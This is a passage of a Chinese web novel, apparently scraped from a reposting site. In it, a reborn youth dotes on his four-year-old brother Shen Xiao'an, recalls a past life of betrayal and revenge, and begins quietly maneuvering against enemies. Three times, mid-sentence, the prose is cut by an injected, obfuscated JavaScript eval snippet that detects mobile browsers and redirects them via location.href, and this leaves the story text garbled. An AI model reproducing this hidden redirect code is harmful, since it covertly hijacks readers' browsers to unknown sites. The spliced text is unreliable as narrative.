沈小安和许温互相对视一眼,随即又齐齐转头,大声反驳:“不可能!肯定是你多!” 裴清珩、许如璋:…… 裴清珩蹲下身子,目光平视的对上沈小安的视线,“安安,在你眼里自然我是最好的,因为我是你的哥哥。但同样的在许家哥儿眼中自然也是自己的哥哥是最好的,是不是?” 许如璋也蹲下身子同自己弟弟许温说道:“温哥儿,哥哥知道温哥儿最喜欢哥哥了,但安哥儿好不容易有了哥哥就迫不及待的同你说,你却要与他争的一二,换作是你,你会开心吗?” 沈小安、许温互相看了眼对方,勉为其难的算是认同了自己哥哥的话。 行吧,谁让他是大气的。 各自都觉得自己是个大度哥儿。 互相达成共识,沈小安转头拉了拉裴清珩的衣袖,凑到人耳边小声说道:“我不跟温哥儿争,但是在安安眼里,哥哥就是最好的。” “嗯,哥哥也最喜欢安安。”裴清珩嘴角含笑,伸手摸了摸沈小安的发顶。 一旁的许温也正拉着自己哥哥的手,一双眼睛还时不时的朝裴清珩看去,他才不承认安安哥哥劝说安安的时候,还挺像当哥的模样。 “哥,你说安安的哥哥会不会对安安好呀。”许温这边刚放弃争论谁家哥哥好,就担心起了这位突然出现的安安哥哥对安安好不好。他还记得去年爹爹带他回老家,爹爹大伯家的孙子便是娶了继妻,那继妻对待前头夫郎生的小孩可凶了,一路都在骂人,偶尔还要挥手打去,要不是撞见了他们,那小孩指不定要如何被打回家。 也是那时候,小爹告诉他,血缘的重要性。 “会的,若是对安哥儿不好,安哥儿又为何如此激动地与你辩论。”许如璋说道。 闻言,许温又看了看裴清珩,瞧他对着安安说话温和的模样,眼珠子转了转。 行吧,安安傻气,但他可不傻,有他在,他才不会让安安这个小笨蛋被欺负。 两个小奶娃分别同自己哥哥说完了悄悄话,同时抬头看向对方:“温哥儿(安安),出去玩吗?” “哦,对了。”想到什么,沈小安又拉着自己哥哥的手走到许如璋面前,“如璋哥哥,这是我的哥哥。”说着,又仰头看向自己哥哥,“哥哥,这是如璋哥哥,温哥儿的哥哥。” 刚才他只给温哥儿介绍,还没给如璋哥哥介绍,他可是个讲礼数的好哥儿。 “在下许如璋,本应一开始就该介绍,眼下竟还麻烦安哥儿给我们介绍,是在下失礼了。”许如璋拱手,谦和一笑,少年面容俊秀,笑容干净。 裴清珩看着眼前十一岁的许如璋,俊朗干净的笑容,依旧是如同上辈子温润有礼,为人着想的模样,丝毫不因他年纪比他小,家世一般,而存了怠慢之心。 上辈子初见他的人都说他裴清珩温润如玉,乃谦谦君子之典范,可那是他们没有见过许如璋,他才是真真诠释了何为君子如玉,何为胸怀天下。 而他不过是披了一层君子的皮罢了,内里实则冷血无情。 只可惜这般的人物却死在了权利斗争之下,死的时候不过二十有四,未有婚育,孑然一身,徒留遗憾。 上辈子,许如璋被下放杞县做县令之时,恰逢他入京会试,他送他至城门口,他还笑着宽慰于他。 “清珩,我入朝为官,所求不过为民请命,为民办事,留在上京混在那权利交织之下,反倒是与我所愿相悖,眼下去了杞县才是真正能让我一展心中所愿,你该为我高兴才是。” 那时,他们都以为不出五年必能再见,可没想到一年未至,便传来他被暴民所伤,不治而亡,死后还要被人贴上污名,被人践踏。 从一开始,下放杞县便是上位者的一场算计,只可惜,那时候的他们过于年轻没有看明白,等明白过来,斯人已逝。 裴清珩敛下心中思绪,嘴角勾起,笑容同样温和,拱手道:“许大哥言重了,在下裴清珩,突然到访,许大哥莫要怪罪才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702558|173501||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。” “怎会,温哥儿与安哥儿自小便玩在一起,你既已喊我一声大哥,往后你我便以兄弟相称如何。”许如璋笑道。 “此乃小弟之福。”裴清珩看着人,眼底幽深。 望这辈子许如璋会有一个好结局,莫要如同上辈子那般。 裴清珩眼角余光不其然的看向那个正与安安不知在说些什么的小娃娃身上。 上辈子,沈慕风被牵累,家产尽数没收,许温待安安却一如既往,安安被人嘲讽,他直言相护。安安出嫁之时,许温更是抬了好几箱陪嫁,据说连许小爹给他准备的嫁妆都抬了些,生怕安安出嫁不够体面,被人笑话。 许如璋死后不久,那群人等不及将污名泼在许如璋身上,气死了许父,许家一夜崩塌,许温不知所踪。等到再见之时,安安那时已去世一年有余,许温骂他明明知道他哥是被人所害,为何还不护好安安,让他遭了算计。亦是这时,他才知道失去踪影的这几年,许温一直在找寻许如璋身死真相,九死一生。 九洲秘术,缩骨换容,他不知道许温是如何学会,可也是因此,他们二人合作,一人在明一人在暗,将幕后之人一一弄死,报了仇。 许温死的时候也是二十四,与他兄长死在了一个年纪。 死时,骨骼尽断,面目全非。 同样孑然一身,同样死的狼狈。 上辈子,他们都没有落得一个圆满。 一道奶声奶气带着满满自得的声音忽然响起,打断了裴清珩的思绪。 “我哥可是天上的小仙童,当初娘亲求了许久,那些个神仙都不愿将哥哥给我娘亲,如今许是觉得自己过于小气,才愿意将小仙童还给我们。”沈小安正得意的跟许温说起自己哥哥的来历,神情那叫一个骄傲。 “哇~安安那你哥哥能飞吗?能变出好吃的来吗?”许温虽是跟沈小安说话,两眼却是放光的看向裴清珩。 显然四岁的大脑并不如他自我想象般的聪明,还馋嘴的抿了下唇。 沈小安:“当然不可以啊。” 许温疑惑:“嗯?你不是说你哥哥是天上小仙童,怎么就不可以了?” “可我哥哥现在下凡成了我的哥哥,当然不会那些仙法了啊。”沈小安说的一本正经。 许温大失所望:“唉,我还以为能见到说书人口中的仙法了。” “你没见到仙法,但你见到仙人了啊。” 许温眨眼,觉得有些不对,但听上去好似也没有什么不对。 想了想,许温说的认真,“安安,但我想要好吃的。” 这下轮到沈小安眨眼了,他觉得温哥儿说的不对,但也说不上来哪里不对,因为他也想要好吃的。 听着这些稚嫩话语,许如璋走上去,抬手抚摸过许温的发顶,对着二人笑道:“听闻悦来阁上了新品,我带你们去尝尝如何?” 闻言,沈小安和许温统统亮了双眸,齐齐点头,大声应道:“好!” “裴弟也一起去?”许如璋看向裴清珩。 “好。”裴清珩点头。 裴清珩牵着沈小安的手,沈小安牵着许温的手,许温牵着许如璋的手。 四个人就这样走在街上,少年面容俊秀,稚儿模样精致,甚是招眼。 阳光落在四人身上,欢笑声不断传来。 裴清珩低头看着身侧笑容烂漫的小哥儿,抬眸又对上许如璋温和的笑颜。 这辈子,他们该要有一个圆满。 8. 第 8 章 沈小安看着桌上自己哥哥给他买的桃花酥桔红糕,喝着甜滋滋的奶酥酪,只觉得太幸福了。 坐在对面的许温见沈小安幸福的都眯起了眼,又看了看仔细给沈小安擦拭嘴角的沈小安的哥哥。他不明白明明是安安的哥哥为何姓氏不一样,但看着这个人对沈小安还是挺不错。 许温一副小大人模样的看向裴清珩,仰着小下巴,一本正经道:“安安的哥哥,你以后也要如此对安安好,安安不聪明,但我聪明,如果你对安安不好,我就揍你哦,我力气可大了。” 许温说着,就想掰断筷子证明自己力气大,但又觉得筷子没了自己就不能吃好吃的了,只能比划了下自己的小拳头,又意识到自己拳头似乎有些小,威胁不了人,连忙拉过自己哥哥补充道:“我哥哥打人也很厉害的哦。” 被拉过去充当要挟资本的许如璋,有些哭笑不得,但见自己弟弟如此为朋友着想,也配合的说道:“哥哥帮温哥儿。”又朝裴清珩看去,故作严肃说道:“裴弟,可清楚了?” 裴清珩看着许温,他还记得上辈子许温得知安安去世,一个人就这么静静站在安安墓前一整夜。 死一样的寂静。 而后,才有了他们二人的合作。 偶尔他也会想,若安安还在,许温或许不会选择那么一条路,或许会愿意尝试活下去。 可想到这个,又觉得很可笑,他和许温没有什么不同,都不想活下去,只是他更狠,更没心肠,想让天下来陪葬。 裴清珩收敛心绪,没有敷衍反倒是郑重的同许温保证道:“我会对安安好,你可以监督我。” 许温当即就应下,“不用你说,我也会看着你,绝对不会让你有机会欺负安安。” 而一旁正埋头苦吃的沈小安,将埋在奶酥酪碗里的脸蛋重新抬起来,唇边还有一圈奶渍,将精致软萌的脸蛋衬的有些傻乎乎。 此刻,沈小安满脑子都是温哥儿说他不聪明,鼓着面颊,很是认真的看着许温,认真为自己辩驳道:“安安很聪明的!温哥儿不许污蔑安安。” 每次出门买好吃的,还不是他带温哥儿去找那些好吃的东西,温哥儿竟然还污蔑他不聪明,真以为他安安不会生气的吗? 许温挑眉,很好,安安重点又跑遍了。 许温没理会沈小安的反驳,只是夹起一块桌上的牛乳糕,递到沈小安面前,“安安,要吃牛乳糕吗?” 沈小安闻着那奶呼呼的香气,立马开心应道:“要!” 许温微笑,体贴的将牛乳糕凑到沈小安嘴边,方便人一口咬住。脸上神情都在说着,就这么个只知道吃的小奶娃,要不是他许温护着,指不定被人一块小奶糕就哄骗了去。 唉,他太难了。 小小的人儿,大大的责任。 沈小安可不知道许温在想什么,吃着香甜的牛乳糕,还不忘开口为自己辩驳,“安安很聪明的哦,温哥儿不许再说安安不聪明。” “安安,天地玄黄,宇宙洪荒的下一句是什么?”许温提问。 沈小安眨眼。 “温哥儿,安安才四岁。”沈小安举起自己短胖的四根小手指。 “那我怎么知道。”许温轻抬下巴。 “你比安安大三个月呢。” “我三个月前就知道了。” “子子曰:人各有所长,不能比,这行为不好。”沈小安板着脸教育道。 许温:谁刚才一个劲的跟他比谁的哥哥好?还有…… “安安,是孔子曰。” 沈小安伸手将牛乳糕从许温的筷子中拿过来,低头,认真的吃了起来。 安安什么都没说,什么都不知道,什么都没有发生过哦。 安安绝对不是小文盲! 裴清珩垂眸,目光温和的看着身边低头吃着牛乳糕小哥儿,想装作什么都不知道,但那发红的耳垂却又明晃晃的在说着他的害羞,头微微向前,带着笑意的语调搭配少年本就干净的声音,莫名让人心情愉悦。 “安安还小,等以后肯定什么都知道。” 落入耳边的话语,沈小安的右耳一动,抬起头,目光晶亮的看向自己的哥哥,嘴角向上翘起,杏眼都开心的弯成了月牙。 “没错!安安长大后肯定什么都知道,安安是最聪明哒。”沈小安很自信。 沈小安说着,还开心的举起双手,忘了自己右手还拿着牛乳糕,牛乳糕就这么直接怼到了裴清珩的下颚上面,在人下颚留下了星星点点白色痕迹。 沈小安见自己哥哥好看的下巴被他的牛乳糕给弄脏了,不好意思笑了下,又觉得自己做错了,什么都不表示不够有诚意,想了想,目光落在那被他啃食以及因为碰触变得不成样子的牛乳糕,立马举起讨好的凑到裴清珩嘴边。 “哥哥,吃吗?” 沈小安笑容娇憨,脑子里想着,将好吃的给哥哥,哥哥就开心了,就会忘记刚才发生的一切,他实在是太聪明了。 裴清珩目光一顿,嘴角缓缓向上勾起,扬起一抹淡淡的弧度,抬起手,接过那不成样子的牛乳糕。 “多谢安安。” “不客气~”沈小安见哥哥吃了自己递过去的牛乳糕,开心的挥了挥手。 一旁的许温却是眉头蹙起,面容是说不出的凝重。 完蛋,安安的哥哥似乎也是不大聪明的样子,这种牛乳糕还会愿意去吃,要命,以后安安还是得靠他啊。 看穿自家弟弟想法的许如璋无奈一笑。 谈话间,许如璋问起了裴清珩学业情况,听到裴清珩说要去竹鸣书院上学,恰好自己也是书院学生,当即就介绍起了书院,考校起了学问,越是考校越是心喜。 “可惜你我相差三岁,今年我便要去参加童试,若有幸得中,就需去府院读书。”许如璋叹息一声。 “许大哥今年必会高中。”裴清珩说道,言语中皆是自信,“来年,我也定会去府院找许大哥。” “好,借裴弟吉言。”许如璋笑道,笑容温润,“你学问扎实,不似八岁郎君,若非童试报名已经结束,你若下场,定能获得名次。” 裴清珩眼角的余光扫过身旁贪吃的小哥儿,嘴角微微上扬,看向许如章,“许大哥过奖了。” 今日虽休沐,许如璋还约了书院同窗去书斋,本是想着先将三人送回去,却没想到两个小哥儿还惦记着隔壁街上的果脯,四个人就决定一同出去,稍后由裴清珩送温哥儿回许家。 走出包间,走在最前面的沈小安和许温正嘀咕着到时候要买什么果脯,恰好一个小二端着木盘走上二楼,木盘上面正放着两盘糕点两碗甜羹,小二心思都在上面,没有注意到前面还有两个未到腰间的小哥儿,直冲冲的就这么走了过去。 跟在哥儿后面的裴清珩和许如璋见状,立马大步一跨,伸手将两个要被撞到,还在兴冲冲说话的小哥儿拉了过去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈小安如此想着,又抬起头看向裴清珩,笑的灿烂,自我感觉笑的真诚可爱,实际心虚、讨好、紧张一个不落。 “好,哥哥先放好。”裴清珩笑着应道,自觉的将手中拎着的油纸包藏在身后。 沈小安看了看,很是满意的点了点头,这样就不怕娘亲看到了,这些吃的他都能吃到了。 越想,沈小安嘴角的弧度翘的越高。 可现实将会给他沉重的一击,他的哥哥并没有将吃的都给他,说着好听的话,却做着今天给一点明天给一点的事,而他竟然还傻乎乎的听着哥哥的话,乐颠颠的由着哥哥分配。 长大后的沈小安,每每想起自己被哄骗之事,都要指着裴清珩控诉一番,老奸巨猾,卑鄙无耻,欺负弱小,美人心计,故作可怜,其心可诛。 总结就是,不!要!脸! 但四岁的沈小安可不知道,只觉得好吃的都放在哥哥这边,十分安心。可惜的是,方才点心吃的太多导致午膳吃不进去,依旧没有逃过被娘亲训斥的命运。 而就在沈小安午觉之时,在屋中的裴清珩抬笔写下了一封信。 笔迹陌生,可笔触间却十分老道,看着就是成年人的笔迹。 裴清珩将信塞入信封中,眉眼之中透着几分肃杀之意,完全不见少年人的意气与温和。 9. 第 9 章 悦来阁,门缝间的匆匆一瞥,留在他记忆深处的是那张血迹斑驳,狼狈说着求饶的面容,眼下却见那两张得意的面容,还真有那么一个瞬间觉得不适应。 上辈子,赵家下一代人争夺继承权,何广杰为了搭上府城赵家二少爷赵志逸的线,给赵志逸增加继承赵家的筹码,也为了抢占许家生意,设计了一出好戏,迫使许景和纳了那哥儿为侍夫,即便二人实际并未有发生什么。 这哥儿看似是何广杰的人,实则却是上京那些人撒下的鱼饵,这种鱼饵他们不知撒了多少下去。 何广杰早已买通了酒坊的人,不过是寻不到机会下手,如今许家夫夫因他感情出现裂痕,又逢县令换人。何广杰看准机会将许景和夫郎许慕手中酿酒的法子偷了去,还派人去找许慕酿酒坊的麻烦。赵家紧接着派人走通了县令关系,导致许慕的酒坊生意一落千丈。 许景和和沈慕风本想联手找到何广杰犯罪的证据,可没想到一切还未开始,何广杰就暴毙在府。一年后的赵家推出了新酒,借此搭上了上面人的船,将赵家酒大力推广,成功从皇商方家手里咬下一方利润。 因赵家推出的酒同许慕祖传的酿酒方子很像,许景和和沈慕风猜测何广杰会不会从始至终都是听从府城赵家的吩咐,奈何赵家那时候早已找好了贵人,不是那时候的许沈两家可以对抗,只能先搁置不谈。 上辈子,小夫郎在得知许如璋死后的污名,许景和的身故,其中源头皆是因为何广杰那时候算计许景和纳的哥儿,气的当即晕厥过去,短短两年便就撒手人寰。 这其中有他人的算计,但何尝不是因为愧疚。 儿时发生的事情,小夫郎并不明白,等到长大了,慢慢才清楚。若是当时他并没有因为贪嘴闹着沈慕风带着他一同赴宴,他就不会接了何广杰偷偷塞给他的酒,傻乎乎的让许景和喝了下去,更不会让何广杰以他为由,将沈慕风支开。 小夫郎将许家遭遇的一切都压在了自己的身上。 可惜的是,那时候他忙于公务,小夫郎又如往日一般都是开心的模样,认真打理着他的食肆,等他察觉之时,却已来不及了。 他杀尽了那些人,赵志逸也死在了许温手里,赵家的人被他一一屠尽,又有何用。 终究,换不回逝去之人。 裴清珩眸光微动,眼底浮现浓厚的戾气,手中的笔断成两段。 既然老天让他重新回到这个时候,这一次就看谁算计的了谁。 裴清珩寻了个买书的借口出了沈宅,去了县城最偏僻的一条街,眼下这时间,大多数人都出去做工,剩下的只有孩童老人和夫郎妇人。 裴清珩隐在街外的大树后面,看向里面第二户房子,房门破败,外头还有不知谁洒下的污水。 “少爷?”男子拿着手中钱袋,小心问道。 “去吧,按照我说的。”裴清珩淡淡道。 “好的。” 中年男子本是一名乞丐,也不知道为何这位少年突然找上他,给了他半贯钱说是定金,又给他好的衣服,让他假装是何家管家。 裴清珩看着那扇门打开,里头出现一位苍老的妇人,妇人面露惊讶,男子说了几句,妇人才接过男子手中东西,将门迅速合上。 男子重新走到裴清珩面前,恭敬说道:“少爷,我都按照你说的办好了。” “嗯。”裴清珩点了点头,从怀里再掏出一封信,递过去,“五日后,你继续在这时间,将这信送到这户人家,但切记需要面露不耐,高高在上。” “好的。”男子接过信件,小心放进自己怀中,想了想,还是忍不住问出心中疑惑,“少爷,为何会找我假扮?” 裴清珩看去,“你不是想回去找寻妻儿。” 接连三年,大周多地出现干旱,南竹县有幸躲过,却也出现了不少流民。也是从今年开始,干旱之地下起了雨,才算是度过了此劫。 男子闻言,心中大惊,不明白这小小少年怎知自己期盼,又想到这少年给出的银子。 或许,这便是贵人与他们的区别。 裴清珩:“事成之后,会再予你半贯钱。” “好。”男子恭敬垂首,他明白拿到这银钱他就该出发回去了。 裴清珩看了男子一眼,他会找他,不过是上辈子他知道这人,为了自己无故惨死的妻儿,去衙门屡次报案,可惜那时候的县令早已换了人,最后不过是白白浪费了一条性命。 而对他来说,有情有义,有软肋,才能用的放心。 沈小安午觉醒来,立马就让沈竹替自己穿好衣服,小小的人儿哒哒哒的就朝裴清珩的屋子跑去,到了门口,立马抬手敲门。 “哥哥,是安安啦~哥哥在里面吗?”语调拉长,不自觉的撒起娇来。 听到声音,裴清珩双眼不自觉的放柔,起身就走过去,打开门,不出意外的对上一双亮晶晶的眼睛。 “哥哥。”沈小安看到人,立马甜甜叫人,忽然又转头看向一旁的沈竹,软乎乎的吩咐道:“竹竹,你先在外面等我哦,我同哥哥有话说。”说完,还不放心的补充道:“不许进来哦。” 裴清珩无需多想就明白,安安这是来偷偷吃东西了。 果然,沈小安前脚刚进屋,后脚就主动的将门合上,转过身,仰起头,对着裴清珩就是甜甜笑道:“哥哥,快将好吃的拿出来,我们一起吃。” 沈小安亮着眸子看着人,一想到睡醒了就有好吃的,还是一堆好吃的,不像娘亲就给他两块糕点就给打发了,沈小安开心的都快要跳起来了。 然而…… 沈小安看着自己哥哥拿出来的,那明显与买的不对等的数量点心,满脸都是不敢置信。 颤巍巍的伸出小短手,不死心的又数了数。 两块桃脯,四小块嘉应子,两枚奶酥,两枚如意糕。 就没了? 明明买了好大一袋的,还有桂圆干,桔红糕,怎么看都看不到了。 沈小安既心疼又伤心,整个人都快要悲伤的裂开来了,抬眸看向好看的如同小仙童般的哥哥,努力憋住心中的委屈,用力吸了吸鼻子,调整好了情绪,壮士割腕般的说道:“哥哥,没事的,安安很大方的,哥哥喜欢吃就多吃点,安安吃这么一点也够了,真的,安安不心疼。” 说到最后,沈小安觉得自己快要哭了,可这些吃的本来就是哥哥买的,哥哥好不容易从天上下来,愿意来当他的哥哥,他若还舍不得吃的,不就是太欺负哥哥了。 可是…… 沈小安又看了看桌上单薄的点心,在心中说服自己的话语瞬间又支离破碎了起来,当即决心不去看了,一把扑过去,抱住裴清珩,将自己的脸埋进对方的怀里,闷闷道:“哥哥爱吃就多吃点,若是没吃够,桌上的点心哥哥也都吃掉吧,安安有零花钱,娘亲每个月都给安安一百文呢,安安可以给哥哥买。” 裴清珩垂眸看着抱着他的小哥儿,耳畔皆是那暖心的话语,心间像是被什么给烘热了一般。若是细看,扯平的嘴角分明向上翘起。 “哥哥怎么舍得吃安安的东西,是哥哥没用,买不起太多,只能委屈安安每天吃一点。” 听到裴清珩的话,沈小安连忙将小脸蛋仰起,看去,“哥哥没有吃?” “是哥哥买给安安的,哥哥怎么会吃。”裴清珩说道。 “哥哥是因为没有钱买吃的,所以才只拿出这么一点?”沈小安心疼问道。 裴清珩点了点头,随即牵起沈小安的手,走到里屋的书桌前,拉开抽屉,里面赫然是好几个油纸袋。 裴清珩松开牵着沈小安的手,将一个油纸带拿出来,打开,让沈小安能看清里面的东西。 “哥哥钱不多,买不了太多,但又想让安安每天都能吃到,所以才只拿出这么一点。让安安误会了,是哥哥不对,哥哥这便将吃的都拿出来,安安想吃多少就吃多少。” 说着,裴清珩就将抽屉里的三四个油纸袋都拿了出来,放在桌上后就一个一个将其打开,拿起一袋还没递到沈小安面前,就被一双小手给按住了。 沈小安现在只觉自己太不懂事了,哥哥这么为他考虑,所有的钱都给他买好吃的,他竟然还这般误会哥哥,呜呜呜,他太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702560|173501||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不该了。 “哥哥,这些东西先放着,安安不吃,安安就吃桌上的。”沈小安两眼泪汪汪的看着裴清珩,怎么看怎么觉得自己哥哥实在是天下第一好,“哥哥没钱,安安有钱,安安给哥哥钱。” “哥哥怎么能要安安的钱,安安的钱安安留着,哥哥会自己赚钱的。”裴清珩说着话,清冷的少年面容清俊。 沈小安歪着头,想到自家爹爹说会赚钱家里就有钱,可是…… “哥哥,爹爹说了,雇佣童工是不对的。”沈小安一脸严肃,“那些雇佣童工的都是坏人,会欺负你,还会打你,哥哥不能去。” 裴清珩眼里带笑,“哥哥会读书,会写字,会画画,都是能赚钱的。” 话虽这么说,沈小安觉得自己的小仙童下凡当他的哥哥竟然没有零花钱,这事怎么可以,想到什么,立马笑着拍了拍自己小胸脯,“安安知道一个地方有钱,安安给哥哥发零花钱。” 哥哥不要他的钱,但他知道有一个地方有好多碎银子,还有好几个银锭子,他可以把它们给哥哥。 沈小安越想越觉得自己太聪明了。 裴清珩却对沈小安的话有些疑惑,什么叫做有个地方有钱,但没等到裴清珩将话问出来,沈小安两只小短手就把桌上的油纸袋重新塞进了抽屉里,拉着裴清珩就朝外屋走去。 “哥哥,那些吃的就先放着,我们每天吃一点,等吃完了再去买。”沈小安觉得自己实在是太贴心了。 “好,都听安安的。”裴清珩应道,语调真诚,深藏功与名。 重新坐回到桌边,沈小安看着桌上的吃的,很是公平的将这些吃的分成两份,他一份,哥哥一份,丝毫没想过为何这些东西就这么能恰好的被分为两份。 这场景若是被沈慕风和林青梧看到,非得大吃一惊,自家护食又贪吃的哥儿竟然如此大方的将他最爱的点心分出一半去。 若是再让沈慕风知道,沈小安还自己提议每天只吃一点,不得再说一句色令智昏啊! 裴清珩说这些本就是想让安安少吃一些,小孩子吃多了甜食容易坏牙齿还会闹肚子,他也想到了安安肯定会分他一半吃的,他的小夫郎从小到大便是那般心善之人。 可想归想,但真实发生了,心中的愉悦却是难以控制的弥漫开去。 “谢谢安安。”裴清珩目光温柔。 “不客气哒。”沈小安拿起一块奶酥吃了起来,奶香带着甜味,瞬间就让沈小安开心的眯起了眼。 裴清珩跟随者沈小安一起吃了起来,沈小安吃什么,裴清珩就吃什么,沈小安也没发觉什么不对,只觉得自己和哥哥太有缘了,怪不得他们是兄弟,太棒了。 待到沈小安长大后,得知裴清珩并不喜欢吃甜食,只是喜欢陪自己一起吃,喜欢看着他将东西分给他罢了,把沈小安气的当即指着裴清珩就是一顿输出。 他喜欢的点心,要不是是自己哥哥,他哪有这么大方,可没想到这人分明就是不爱吃的,不爱吃还吃,太过分了! 他小时候到底错过了多少点心啊,说不准加起来都能让从南门排到北门了。 可惜的是,这时候的沈小安满脑子都是哥哥也爱吃点心,买点心要好多钱钱,他要拿钱钱给哥哥。 如此想着,沈小安从裴清珩屋中出来之后,找了个理由让沈竹先回去,自己跑去了主屋前的院子里,找到角落处三颗挨在一起长的竹子,费力的将旁边的一块石头往边上推了好几下,等到露出石头下面的泥土,沈小安这才大喘吁吁的一屁股坐在了地上。 休息了一会,沈小安一双小胖手又翻起了泥土,没挖一会儿泥土里就露出了不一样的东西。 看到箱子一角,沈小安挖的更起劲了,很快就把那个小箱子挖了出来。 箱子不大,不过成年人两手掌的大小。 沈小安将小箱子打开,看到里面果然比之前自己发现的时候又多了一个小银锭子,当即双眼笑的弯起了月牙。满意的将小箱子重新又合上,抱在怀里,小短腿麻溜的就朝裴清珩的住处跑去。 嘿嘿,他要给哥哥送钱去。 10. 第 10 章 “哥哥,快开门,是安安呀。”沈小安不知道是挖到钱激动的,还是跑着过来累的,一对小奶膘此刻红彤彤的,就像是脸上有着一对小苹果,可爱的紧。 裴清珩应声打开了门,就见方才出去干干净净的小哥儿,此刻却是脏兮兮的。衣服袖口、衣摆处都是泥土,抱着一个明显是从土里挖出来的小箱子,白皙的脸颊透着红,还有两条黑印子,额间发丝因为热汗贴在了皮肤上,一双眼倒是亮的惊人,正兴奋的看着他。 裴清珩正想问沈小安怎么了,沈小安却是小腿一跨,立马走进屋子,将小箱子放在了桌上后,又马上转过头看向裴清珩,催促道:“哥哥,快把门关好,过来。” 裴清珩瞥了眼那脏兮兮的箱子,转身顺着沈小安的话把门合上,走了过去。 “安安,这是?” “钱啊!”沈小安激动说道。 “钱?”裴清珩一楞。 “是啊!”沈小安点了点头,当即伸手将小箱子打开。 裴清珩顺着动作朝里面看去,里面赫然有六个银锭子,每个银锭子大概十两,有十多个碎银子,保守估计也有个十几二十两,还有两贯铜钱,加起来能有个八十多两,足够寻常百姓在府城,一家四口生活两三年了。 沈小安见哥哥朝箱子看去,当即得意的说道:“哥哥不舍得用安安的零花钱,但这钱是土里自己长出来的,哥哥你可以随便用,用完了告诉安安,安安再去挖来给哥哥。” “土里长出来的?”裴清珩朝沈小安疑惑看去。 “对啊,就是土里长出来的。”沈小安肯定的点了点头。 裴清珩:…… 他觉得这箱子的来历有待商榷。 “安安,你告诉哥哥,这箱子你是从哪里挖出来的。” “在爹娘的院子里。”沈小安想到什么,神情变得有些激动,“哥哥,我告诉你,那边有一块很神奇的石头,就是它生出了钱来,上回我去看的时候还只有五个银锭子,这次我去看有六个了。” “哥哥,你说那个石头是不是就是传说中的聚宝盆呀,伪装成了石头来到了我们家里,哦,不对,有可能是这个箱子就是聚宝盆。” 想到这个,沈小安踮起双脚,身子向前,一双小手,左右开工抓起一把银子就拿了出来,拿完一把继续再拿,边拿边说,“哥哥,这些钱你先拿好。我待会就把箱子埋回去,等过段时间它生出钱来,我再把它拿给你。” 裴清珩面色忽然变得有些无法言说,看着沈小安一把一把的将银子从箱子里拿出来,再看了看箱子上面的泥土,神色更复杂了。 他要怎么跟安安说,这钱是有主的,而且这主人可能还是你爹。 按照上辈子安安和沈慕风的相处看来,指不定让安安知道这钱可能是自己爹爹的私房钱,拿的会更开心,说不准还要去自己娘亲面前卖一波自己爹爹。 毕竟,他可是沈慕风认证过的小破棉裤,漏风的很。 沈小安可不知道哥哥在想什么,只是兴奋的将钱从箱子里面拿出来,等到箱子空了才意犹未尽的停下了手。 “哥哥,你说这聚宝盆有什么办法,让它能快点变出钱来呀?”沈小安眨巴着一双杏眼,干净清澈的双眼,满满都是对金钱的渴望。 裴清珩:…… “安安,聚宝盆是个神物,并不是我们能掌控,若是我们将里面的银子都拿出来,说不准聚宝盆就再也生不出钱来了。”裴清珩一本正经说着瞎话。 沈小安歪头,“哥哥,所以咱们家的聚宝盆是次品吗?” 他记得,有次和温哥儿一同被许小叔带去酒坊,许小叔说过不好的酒曲是酿不出好酒,是次品,不能用。 想了想,沈小安很认真的反驳道:“哥哥,次品是不能用的,聚宝盆能生出钱来,就不是次品。” 显然这次没被忽悠住。 “可哥哥不放心,怕用了聚宝盆的钱,聚宝盆再生不出钱来怎么办?”裴清珩垂眸,继续说着瞎话。 少年哀叹,惹人怜惜。 沈小安见自己的小仙童哥哥竟然难过了,当即就一挥手,霸气十足道:“那就把这个聚宝盆扔掉,安安再给哥哥找一个好的。” 裴清珩看着小哥儿霸气的模样,不由轻笑出声,能被安安如此看待,他荣幸之至。 “嗯,有安安在,哥哥放心。” “不客气。”霸气安安挺起胸膛。 事情有了决定,银子给哥哥,沈小安准备将他的聚宝盆重新埋回去。 裴清珩不放心,便跟着沈小安一起去把小箱子埋回去,实则想着等到晚上或者安安睡午觉的时候,自己偷摸摸将钱放回去,然而,没想到的是…… 院子角落。 一双大眼对上一双小眼,还有一双更小的眼。 三双眼睛,相互对视。 大眼目光向下,停在了箱子上面,明显可见其瞳孔一缩。 四周空气忽然变得格外寂静,气氛莫名有些尴尬。 奈何有一道奶声奶气就这么闯入了进来,并没有觉得此刻气氛有什么不对。 “爹爹,你也在找聚宝盆吗?”沈小安见自家爹爹站在他挖出的坑旁,下意识脱口而出道。说完顿觉自己说错话了,忙往哥哥身后躲去,借着哥哥挡住自己手里的小箱子,探出个头,戒备的看着自己爹爹。 裴清珩见沈慕风难看的面色,偷偷往旁边挪了挪,好将小哥儿给挡在身后。 沈慕风站在原地,当看到沈小安手里抱着的那个熟悉的小箱子,他还能有什么不明白的。 